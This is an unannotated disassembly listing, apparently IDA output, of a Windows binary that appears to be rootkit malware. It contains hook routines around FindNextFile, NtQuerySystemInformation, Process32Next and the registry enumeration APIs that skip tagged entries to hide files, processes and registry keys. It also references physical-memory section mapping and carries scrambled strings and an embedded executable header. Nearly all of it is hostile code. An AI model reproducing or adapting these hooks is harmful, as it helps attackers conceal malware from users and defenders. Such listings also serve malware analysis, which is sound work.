dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401F10
dd offset loc_401F22
dd offset loc_401F10
dd offset loc_401F10
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
off_43B504 dd offset loc_401DB1 ; DATA XREF: sub_401D14+2B3r
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401F39
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401F4C
dd offset loc_401F4C
dd offset loc_401F4C
dd offset loc_401F4C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401E25
dd offset loc_401F5C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401F5C
dd offset loc_401F5C
dd offset loc_401F5C
dd offset loc_401F5C
dd offset loc_401F5C
dd offset loc_401F5C
dd offset loc_401F5C
dd offset loc_401F5C
dd offset loc_401F10
dd offset loc_401F10
dd offset loc_401F72
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401F10
dd offset loc_401F22
dd offset loc_401F7E
dd offset loc_40200C
dd offset loc_401F72
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401DD1
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401F5C
dd offset loc_401F5C
dd offset loc_401F39
dd offset loc_401E25
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401E6D
dd offset loc_401F8A
dd offset loc_401E8E
dd offset loc_401E8E
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401DEC
dd offset loc_401DEC
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
off_43B6D4 dd offset loc_401FD3 ; DATA XREF: sub_401D14+29Er
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_402005
dd offset loc_402005
dd offset loc_40200C
dd offset loc_402005
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FE9
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401FD3
dd offset loc_401FF6
dd offset loc_401FD3
dd offset loc_402005
dd offset loc_402005
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401FD3
dd offset loc_401FF6
dd offset loc_401FD3
dd offset loc_402005
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_402005
dd offset loc_402005
dd offset loc_401FF6
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_401FD3
dd offset loc_402005
dd offset loc_402005
dd offset loc_402005
dd offset loc_402005
dd offset loc_402005
dd offset loc_402005
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
aFindnextfilea db 'FindNextFileA',0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
mov [esp+8], edi
mov [esp+4], esi
mov [esp], ebx
loc_43B863: ; CODE XREF: .data:0043B8ACj
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245BA70h
test eax, eax
jz short loc_43B8AE
pusha
mov eax, [ebp+0Ch]
add eax, 2Ch
mov ebx, eax
loc_43B87D: ; CODE XREF: .data:0043B883j
cmp byte ptr [ebx], 0
jz short loc_43B885
inc ebx
jmp short loc_43B87D
; ---------------------------------------------------------------------------
loc_43B885: ; CODE XREF: .data:0043B880j
mov word ptr [ebx], 463Ah
inc ebx
inc ebx
push dword ptr [ebx]
mov word ptr [ebx], 0
push ebx
push eax
call near ptr 0C4FC4A6h
pop ebx
pop dword ptr [ebx]
mov word ptr [ebx-2], 0
test ax, ax
jnz short loc_43B8AB
popa
jmp short loc_43B8AE
; ---------------------------------------------------------------------------
loc_43B8AB: ; CODE XREF: .data:0043B8A6j
popa
jmp short loc_43B863
; ---------------------------------------------------------------------------
loc_43B8AE: ; CODE XREF: .data:0043B870j
; .data:0043B8A9j
mov ebx, [esp]
mov esi, [esp+4]
mov edi, [esp+8]
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
db 0FFh
dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h
db 65h, 57h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
mov [esp+8], edi
mov [esp+4], esi
mov [esp], ebx
loc_43B8E4: ; CODE XREF: .data:0043B933j
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245BAF1h
test eax, eax
jz short loc_43B935
pusha
mov eax, [ebp+0Ch]
add eax, 2Ch
mov ebx, eax
loc_43B8FE: ; CODE XREF: .data:0043B906j
cmp word ptr [ebx], 0
jz short loc_43B908
inc ebx
inc ebx
jmp short loc_43B8FE
; ---------------------------------------------------------------------------
loc_43B908: ; CODE XREF: .data:0043B902j
mov dword ptr [ebx], 46003Ah
add ebx, 4
push dword ptr [ebx]
mov dword ptr [ebx], 0
push ebx
push eax
call near ptr 0D50C62Dh
pop ebx
pop dword ptr [ebx]
mov dword ptr [ebx-4], 0
test ax, ax
jnz short loc_43B932
popa
jmp short loc_43B935
; ---------------------------------------------------------------------------
loc_43B932: ; CODE XREF: .data:0043B92Dj
popa
jmp short loc_43B8E4
; ---------------------------------------------------------------------------
loc_43B935: ; CODE XREF: .data:0043B8F1j
; .data:0043B930j
mov ebx, [esp]
mov esi, [esp+4]
mov edi, [esp+8]
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
dw 0FFFFh
dword_43B948 dd 0FFFFFFh, 7551744Eh, 53797265h, 65747379h, 666E496Dh
; DATA XREF: .data:0043BE94o
dd 616D726Fh, 6E6F6974h
db 0
; ---------------------------------------------------------------------------
loc_43B965: ; DATA XREF: .data:0043BE9Co
push ebp
mov ebp, esp
sub esp, 24h
mov [esp+8], edi
mov [esp+4], esi
mov [esp], ebx
sub esp, 10h
mov eax, [ebp+14h]
mov edi, [ebp+10h]
mov ebx, [ebp+0Ch]
mov [esp+0Ch], eax
mov [esp+8], edi
mov [esp+4], ebx
mov esi, [ebp+8]
mov [esp], esi
call near ptr 245BB9Bh
mov [ebp-4], eax
cmp esi, 5
jz short loc_43B9B5
loc_43B9A1: ; CODE XREF: .data:0043B9BBj
; .data:0043BA0Ej
mov eax, [ebp-4]
mov ebx, [esp]
mov esi, [esp+4]
mov edi, [esp+8]
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_43B9B5: ; CODE XREF: .data:0043B99Fj
cmp edi, 1F40h
jle short loc_43B9A1
jmp short loc_43B9C3
; ---------------------------------------------------------------------------
loc_43B9BF: ; CODE XREF: .data:0043BA10j
mov esi, ebx
loc_43B9C1: ; CODE XREF: .data:0043BA08j
add ebx, eax
loc_43B9C3: ; CODE XREF: .data:0043B9BDj
pusha
mov eax, [ebx+44h]
push 50h
sub esp, 20h
xor ebx, ebx
loc_43B9D1: ; CODE XREF: .data:0043B9E4j
bt eax, ebx
jb short loc_43B9DC
mov byte ptr [esp+ebx], 30h
jmp short loc_43B9E0
; ---------------------------------------------------------------------------
loc_43B9DC: ; CODE XREF: .data:0043B9D4j
mov byte ptr [esp+ebx], 31h
loc_43B9E0: ; CODE XREF: .data:0043B9DAj
inc ebx
cmp ebx, 20h
jnz short loc_43B9D1
push esp
call near ptr 0C4FC5F8h
add esp, 24h
test ax, ax
jnz short loc_43B9F7
popa
jmp short loc_43BA0A
; ---------------------------------------------------------------------------
loc_43B9F7: ; CODE XREF: .data:0043B9F2j
popa
mov eax, [ebx]
test eax, eax
jnz short loc_43BA06
mov dword ptr [esi], 0
jmp short loc_43BA0A
; ---------------------------------------------------------------------------
loc_43BA06: ; CODE XREF: .data:0043B9FCj
add [esi], eax
jmp short loc_43B9C1
; ---------------------------------------------------------------------------
loc_43BA0A: ; CODE XREF: .data:0043B9F5j
; .data:0043BA04j
mov eax, [ebx]
test eax, eax
jz short loc_43B9A1
jmp short loc_43B9BF
; ---------------------------------------------------------------------------
dw 0FFFFh
dd 0FFFFFFh
aProcess32next db 'Process32Next',0 ; DATA XREF: .data:off_43BE84o
word_43BA26 dw 8360h ; DATA XREF: .data:off_43BE8Co
dd 46A08C5h, 0B0BE855h, 0C0850B0Bh, 0EB610374h, 458B610Bh
dd 1013D08h, 14740101h, 80808E8h, 1FF8108h, 74010101h
dd 1013D07h, 5750101h, 20202E9h
db 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
mov [esp+8], edi
mov [esp+4], esi
mov [esp], ebx
loc_43BA6E: ; CODE XREF: .data:0043BABCj
sub esp, 8
mov ebx, [ebp+0Ch]
mov edi, [ebp+8]
mov [esp+4], ebx
mov [esp], edi
call near ptr 245BC85h
test eax, eax
jz short loc_43BABE
pusha
mov eax, [ebx+8]
push 50h
sub esp, 20h
xor ebx, ebx
loc_43BA95: ; CODE XREF: .data:0043BAA8j
bt eax, ebx
jb short loc_43BAA0
mov byte ptr [esp+ebx], 30h
jmp short loc_43BAA4
; ---------------------------------------------------------------------------
loc_43BAA0: ; CODE XREF: .data:0043BA98j
mov byte ptr [esp+ebx], 31h
loc_43BAA4: ; CODE XREF: .data:0043BA9Ej
inc ebx
cmp ebx, 20h
jnz short loc_43BA95
push esp
call near ptr 0C4FC6BCh
add esp, 24h
test ax, ax
jnz short loc_43BABB
popa
jmp short loc_43BABE
; ---------------------------------------------------------------------------
loc_43BABB: ; CODE XREF: .data:0043BAB6j
popa
jmp short loc_43BA6E
; ---------------------------------------------------------------------------
loc_43BABE: ; CODE XREF: .data:0043BA85j
; .data:0043BAB9j
mov ebx, [esp]
mov esi, [esp+4]
mov edi, [esp+8]
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
db 0FFh
dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_43BAE4: ; CODE XREF: .data:0043BB31j
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245BCF7h
test eax, eax
jnz short loc_43BB33
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43BAFF: ; CODE XREF: .data:0043BB05j
cmp byte ptr [ebx], 0
jz short loc_43BB07
inc ebx
jmp short loc_43BAFF
; ---------------------------------------------------------------------------
loc_43BB07: ; CODE XREF: .data:0043BB02j
mov word ptr [ebx], 4B23h
inc ebx
inc ebx
push dword ptr [ebx]
mov word ptr [ebx], 0
push ebx
push eax
call near ptr 0C4FC728h
pop ebx
pop dword ptr [ebx]
mov word ptr [ebx-2], 0
test ax, ax
jnz short loc_43BB2D
popa
jmp short loc_43BB33
; ---------------------------------------------------------------------------
loc_43BB2D: ; CODE XREF: .data:0043BB28j
popa
inc dword ptr [ebp+0Ch]
jmp short loc_43BAE4
; ---------------------------------------------------------------------------
loc_43BB33: ; CODE XREF: .data:0043BAF7j
; .data:0043BB2Bj
pop ebp
retn 10h
; ---------------------------------------------------------------------------
db 0FFh
dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_43BB4C: ; CODE XREF: .data:0043BB9Fj
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245BD5Fh
test eax, eax
jnz short loc_43BBA1
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43BB67: ; CODE XREF: .data:0043BB6Fj
cmp word ptr [ebx], 0
jz short loc_43BB71
inc ebx
inc ebx
jmp short loc_43BB67
; ---------------------------------------------------------------------------
loc_43BB71: ; CODE XREF: .data:0043BB6Bj
mov dword ptr [ebx], 4B0023h
add ebx, 4
push dword ptr [ebx]
mov dword ptr [ebx], 0
push ebx
push eax
call near ptr 0D50C896h
pop ebx
pop dword ptr [ebx]
mov dword ptr [ebx-4], 0
test ax, ax
jnz short loc_43BB9B
popa
jmp short loc_43BBA1
; ---------------------------------------------------------------------------
loc_43BB9B: ; CODE XREF: .data:0043BB96j
popa
inc dword ptr [ebp+0Ch]
jmp short loc_43BB4C
; ---------------------------------------------------------------------------
loc_43BBA1: ; CODE XREF: .data:0043BB5Fj
; .data:0043BB99j
pop ebp
retn 10h
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
dword_43BBA8 dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h ; DATA XREF: .data:0043BEE4o
db 0
; ---------------------------------------------------------------------------
loc_43BBB9: ; DATA XREF: .data:0043BEECo
push ebp
mov ebp, esp
loc_43BBBC: ; CODE XREF: .data:0043BC37j
mov eax, [ebp+14h]
push dword ptr [eax]
mov eax, [ebp+20h]
test eax, eax
jz short loc_43BBCA
push dword ptr [eax]
loc_43BBCA: ; CODE XREF: .data:0043BBC6j
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245BDE9h
test eax, eax
jnz short loc_43BC39
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43BBF1: ; CODE XREF: .data:0043BBF9j
cmp word ptr [ebx], 0
jz short loc_43BBFB
inc ebx
inc ebx
jmp short loc_43BBF1
; ---------------------------------------------------------------------------
loc_43BBFB: ; CODE XREF: .data:0043BBF5j
mov dword ptr [ebx], 4B0023h
add ebx, 4
push dword ptr [ebx]
mov dword ptr [ebx], 0
push ebx
push eax
call near ptr 0D50C920h
pop ebx
pop dword ptr [ebx]
mov dword ptr [ebx-4], 0
test ax, ax
jnz short loc_43BC25
popa
jmp short loc_43BC39
; ---------------------------------------------------------------------------
loc_43BC25: ; CODE XREF: .data:0043BC20j
popa
inc dword ptr [ebp+0Ch]
mov eax, [ebp+20h]
test eax, eax
jz short loc_43BC32
pop dword ptr [eax]
loc_43BC32: ; CODE XREF: .data:0043BC2Ej
mov eax, [ebp+14h]
pop dword ptr [eax]
jmp short loc_43BBBC
; ---------------------------------------------------------------------------
loc_43BC39: ; CODE XREF: .data:0043BBE9j
; .data:0043BC23j
add esp, 4
cmp dword ptr [ebp+20h], 0
jz short loc_43BC45
add esp, 4
loc_43BC45: ; CODE XREF: .data:0043BC40j
pop ebp
retn 20h
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_43BC60: ; CODE XREF: .data:0043BCD5j
mov eax, [ebp+14h]
push dword ptr [eax]
mov eax, [ebp+20h]
test eax, eax
jz short loc_43BC6E
push dword ptr [eax]
loc_43BC6E: ; CODE XREF: .data:0043BC6Aj
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245BE8Dh
test eax, eax
jnz short loc_43BCD7
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43BC95: ; CODE XREF: .data:0043BC9Bj
cmp byte ptr [ebx], 0
jz short loc_43BC9D
inc ebx
jmp short loc_43BC95
; ---------------------------------------------------------------------------
loc_43BC9D: ; CODE XREF: .data:0043BC98j
mov word ptr [ebx], 4B23h
inc ebx
inc ebx
push dword ptr [ebx]
mov word ptr [ebx], 0
push ebx
push eax
call near ptr 0C4FC8BEh
pop ebx
pop dword ptr [ebx]
mov word ptr [ebx-2], 0
test ax, ax
jnz short loc_43BCC3
popa
jmp short loc_43BCD7
; ---------------------------------------------------------------------------
loc_43BCC3: ; CODE XREF: .data:0043BCBEj
popa
inc dword ptr [ebp+0Ch]
mov eax, [ebp+20h]
test eax, eax
jz short loc_43BCD0
pop dword ptr [eax]
loc_43BCD0: ; CODE XREF: .data:0043BCCCj
mov eax, [ebp+14h]
pop dword ptr [eax]
jmp short loc_43BC60
; ---------------------------------------------------------------------------
loc_43BCD7: ; CODE XREF: .data:0043BC8Dj
; .data:0043BCC1j
add esp, 4
cmp dword ptr [ebp+20h], 0
jz short loc_43BCE3
add esp, 4
loc_43BCE3: ; CODE XREF: .data:0043BCDEj
pop ebp
retn 20h
; ---------------------------------------------------------------------------
db 0FFh
dword_43BCE8 dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h ; DATA XREF: .data:0043BF04o
db 65h, 57h, 0
; ---------------------------------------------------------------------------
loc_43BCFB: ; DATA XREF: .data:0043BF0Co
push ebp
mov ebp, esp
loc_43BCFE: ; CODE XREF: .data:0043BD79j
mov eax, [ebp+14h]
push dword ptr [eax]
mov eax, [ebp+24h]
test eax, eax
jz short loc_43BD0C
push dword ptr [eax]
loc_43BD0C: ; CODE XREF: .data:0043BD08j
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245BF2Bh
test eax, eax
jnz short loc_43BD7B
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43BD33: ; CODE XREF: .data:0043BD3Bj
cmp word ptr [ebx], 0
jz short loc_43BD3D
inc ebx
inc ebx
jmp short loc_43BD33
; ---------------------------------------------------------------------------
loc_43BD3D: ; CODE XREF: .data:0043BD37j
mov dword ptr [ebx], 560023h
add ebx, 4
push dword ptr [ebx]
mov dword ptr [ebx], 0
push ebx
push eax
call near ptr 0D50CA62h
pop ebx
pop dword ptr [ebx]
mov dword ptr [ebx-4], 0
test ax, ax
jnz short loc_43BD67
popa
jmp short loc_43BD7B
; ---------------------------------------------------------------------------
loc_43BD67: ; CODE XREF: .data:0043BD62j
popa
inc dword ptr [ebp+0Ch]
mov eax, [ebp+24h]
test eax, eax
jz short loc_43BD74
pop dword ptr [eax]
loc_43BD74: ; CODE XREF: .data:0043BD70j
mov eax, [ebp+14h]
pop dword ptr [eax]
jmp short loc_43BCFE
; ---------------------------------------------------------------------------
loc_43BD7B: ; CODE XREF: .data:0043BD2Bj
; .data:0043BD65j
add esp, 4
cmp dword ptr [ebp+24h], 0
jz short loc_43BD87
add esp, 4
loc_43BD87: ; CODE XREF: .data:0043BD82j
pop ebp
retn 20h
; ---------------------------------------------------------------------------
db 0FFh
dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h
db 65h, 41h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_43BDA2: ; CODE XREF: .data:0043BE17j
mov eax, [ebp+14h]
push dword ptr [eax]
mov eax, [ebp+24h]
test eax, eax
jz short loc_43BDB0
push dword ptr [eax]
loc_43BDB0: ; CODE XREF: .data:0043BDACj
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245BFCFh
test eax, eax
jnz short loc_43BE19
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43BDD7: ; CODE XREF: .data:0043BDDDj
cmp byte ptr [ebx], 0
jz short loc_43BDDF
inc ebx
jmp short loc_43BDD7
; ---------------------------------------------------------------------------
loc_43BDDF: ; CODE XREF: .data:0043BDDAj
mov word ptr [ebx], 5623h
inc ebx
inc ebx
push dword ptr [ebx]
mov word ptr [ebx], 0
push ebx
push eax
call near ptr 0C4FCA00h
pop ebx
pop dword ptr [ebx]
mov word ptr [ebx-2], 0
test ax, ax
jnz short loc_43BE05
popa
jmp short loc_43BE19
; ---------------------------------------------------------------------------
loc_43BE05: ; CODE XREF: .data:0043BE00j
popa
inc dword ptr [ebp+0Ch]
mov eax, [ebp+24h]
test eax, eax
jz short loc_43BE12
pop dword ptr [eax]
loc_43BE12: ; CODE XREF: .data:0043BE0Ej
mov eax, [ebp+14h]
pop dword ptr [eax]
jmp short loc_43BDA2
; ---------------------------------------------------------------------------
loc_43BE19: ; CODE XREF: .data:0043BDCFj
; .data:0043BE03j
add esp, 4
cmp dword ptr [ebp+24h], 0
jz short loc_43BE25
add esp, 4
loc_43BE25: ; CODE XREF: .data:0043BE20j
pop ebp
retn 20h
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
db 2 dup(0FFh), 0
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402A4D+45Do
; .data:off_43BE88o
aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_40223C+Eo
; .data:0043BE98o ...
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: .data:0043BEE8o
; .data:0043BF08o
aIphlpapi_dll db 'iphlpapi.dll',0
aInetmib1_dll db 'inetmib1.dll',0
aWsock32_dll db 'wsock32.dll',0
aUser32_dll db 'user32.dll',0
off_43BE84 dd offset aProcess32next ; DATA XREF: sub_402A4D+CFr
; sub_402A4D+102r ...
; "Process32Next"
off_43BE88 dd offset aKernel32_dll ; DATA XREF: sub_402A4D+B0r
; "kernel32.dll"
off_43BE8C dd offset word_43BA26 ; DATA XREF: sub_4028A6+193r
byte_43BE90 db 0 ; DATA XREF: sub_402A4D+76r
; sub_402A4D+93r
align 4
dd offset dword_43B948+4
dd offset aNtdll_dll ; "ntdll.dll"
dd offset loc_43B965
dd 1, 43B8C5h, 43BE2Fh, 43B8D3h, 1, 43B844h, 43BE2Fh, 43B852h
dd 2, 43BB3Dh, 43BE46h, 43BB49h, 1, 43BAD5h, 43BE46h, 43BAE1h
dd 0
dd offset dword_43BBA8+3
dd offset aAdvapi32_dll ; "advapi32.dll"
dd offset loc_43BBB9
dd 1, 43BC4Fh, 43BE46h, 43BC5Dh, 0
dd offset dword_43BCE8+5
dd offset aAdvapi32_dll ; "advapi32.dll"
dd offset loc_43BCFB
dd 1, 43BD91h, 43BE46h, 43BD9Fh, 5 dup(0)
dd 4
dword_43BF38 dd 0Ah ; DATA XREF: sub_4022CC+152r
dword_43BF3C dd 0 ; DATA XREF: .text:004021B4r
; .text:loc_4021CDr ...
aRtlinitunicode db 'RtlInitUnicodeString',0 ; DATA XREF: sub_40223C+25o
dd offset dword_417644+607h
aNtunmapviewofs db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_40223C+3Ao
aNVH2 db 'N-v%H|2',0
aNtopensection db 'NtOpenSection',0 ; DATA XREF: sub_40223C+4Fo
aZE db 'z>e',0
aNtmapviewofsec db 'NtMapViewOfSection',0 ; DATA XREF: sub_40223C+6Bo
aFpidy db 'FpIdY ',0
aRtlntstatustod db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_40223C+7Bo
aE1qf db 'e`1qF',0
aCurrent_user db 'CURRENT_USER',0 ; DATA XREF: sub_4022CC+C8o
aDevicePhysical: ; DATA XREF: sub_4022CC+2Do
unicode 0, <\device\physicalmemory>,0
aA_utc2 db '_utc*2',0 ; DATA XREF: sub_40223C+1Do
aHgtr db 'hgtr',0 ; DATA XREF: sub_4022CC+20o
aQOkgoj db 'Q!okgOJ',0 ; DATA XREF: sub_4022CC+3Fo
dword_43C00F dd 802036h ; DATA XREF: sub_4022CC+64r
aXghyb_v db 'Xhyb.',0 ; DATA XREF: sub_4022CC+A5o
align 4
dw 8
unicode 0, <>,0
dword_43C020 dd 0Bh ; DATA XREF: sub_402A4D+1BDr
; sub_402A4D+5FAr
dword_43C024 dd 0 ; DATA XREF: .text:004024F0r
; .text:loc_402509r ...
aWcscmp db 'wcscmp',0 ; DATA XREF: .data:off_43C0B8o
aHtons db 'htons',0
align 2
aVirtualprotect db 'VirtualProtect',0
align 2
aGetcurrentproc db 'GetCurrentProcessId',0
aFindwindowa db 'FindWindowA',0
aSendmessagea db 'SendMessageA',0
a3 db '3&<',0
aIsbadreadptr db 'IsBadReadPtr',0
aNgwn db ' nGwn',0
aGlobalfindatom db 'GlobalFindAtomA',0
aGlobalfindat_0 db 'GlobalFindAtomW',0
aRW db '*r',27h,'w<#',0
align 4
byte_43C0B4 db 3 ; DATA XREF: sub_402572+B0r
align 4
off_43C0B8 dd offset aWcscmp ; DATA XREF: sub_402572+137r
; sub_402572+19Fr
; "wcscmp"
off_43C0BC dd offset aNtdll_dll ; DATA XREF: sub_402572+124r
; "ntdll.dll"
dd 5, 43C02Fh, 43BE6Dh, 7, 43C036h, 43BE2Fh, 8, 43C046h
dd 43BE2Fh, 9, 43C05Ah, 43BE79h, 0Ah, 43C066h, 43BE79h
dd 0Bh, 43C077h, 43BE2Fh, 0Ch, 43C08Ah, 43BE2Fh, 0Dh, 43C09Ah
dd 43BE2Fh
aA9s db 'A^9S',0 ; DATA XREF: sub_402572+26Co
dword_43C125 dd 27603Dh ; DATA XREF: sub_4028A6:loc_402945r
word_43C129 dw 81h ; DATA XREF: sub_402A4D+110r
aTzT6 db 'tz|&>T6',0 ; DATA XREF: sub_402A4D+17Bo
word_43C133 dw 82h ; DATA XREF: sub_402A4D+1D3r
aLj0yrfp db 'lJ0YrFP',0 ; DATA XREF: sub_402A4D+2C0o
word_43C13D dw 5Eh ; DATA XREF: sub_402A4D+370r
byte_43C13F db 2Dh ; DATA XREF: sub_402A4D+722o
db 64h, 0
dword_43C142 dd 204359h ; DATA XREF: sub_402A4D+746r
aLvdw_x db 'LVDW.X',0 ; DATA XREF: sub_402A4D+761o
dword_43C14D dd 4B5258h ; DATA XREF: sub_402A4D+829r
align 4
dd 3, 10h
dword_43C15C dd 6 ; DATA XREF: sub_4032E7+Fr
; sub_4032E7:loc_403316r ...
dword_43C160 dd 30643C7Fh ; DATA XREF: sub_403383+Fo
db 0
byte_43C165 db 49h, 69h, 0 ; DATA XREF: sub_403383+4Fo
dword_43C168 dd 3D7258h ; DATA XREF: sub_403449+11r
aOqd db ' OQD',0 ; DATA XREF: sub_403449+3Co
aR6 db 'R6',0 ; DATA XREF: sub_4034D8+19o
dd 5
dword_43C178 dd 0Bh ; DATA XREF: sub_403610+32r
dword_43C17C dd 0 ; DATA XREF: sub_40357C+15r
; sub_40357C:loc_4035AAr ...
word_43C180 dw 68h ; DATA XREF: sub_403610+18r
word_43C182 dw 0 ; DATA XREF: sub_4036F2+11o
dd 1, 0Dh
dword_43C18C dd 0 ; DATA XREF: sub_40375C+15r
; sub_40375C:loc_40378Ar ...
byte_43C190 db 3Eh, 80h, 0 ; DATA XREF: sub_4037EF+17o
word_43C193 dw 2Fh ; DATA XREF: sub_4037EF+33r
aH8me db 'H8mE',0 ; DATA XREF: .text:0040389Fo
align 10h
dd 0Eh
dword_43C1A4 dd 0E5h ; DATA XREF: sub_403936+15r
; sub_403936:loc_40396Br ...
dword_43C1A8 dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 ; DATA XREF: sub_403C5F+2D9o
dd 40h, 8 dup(0)
dd 80h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0)
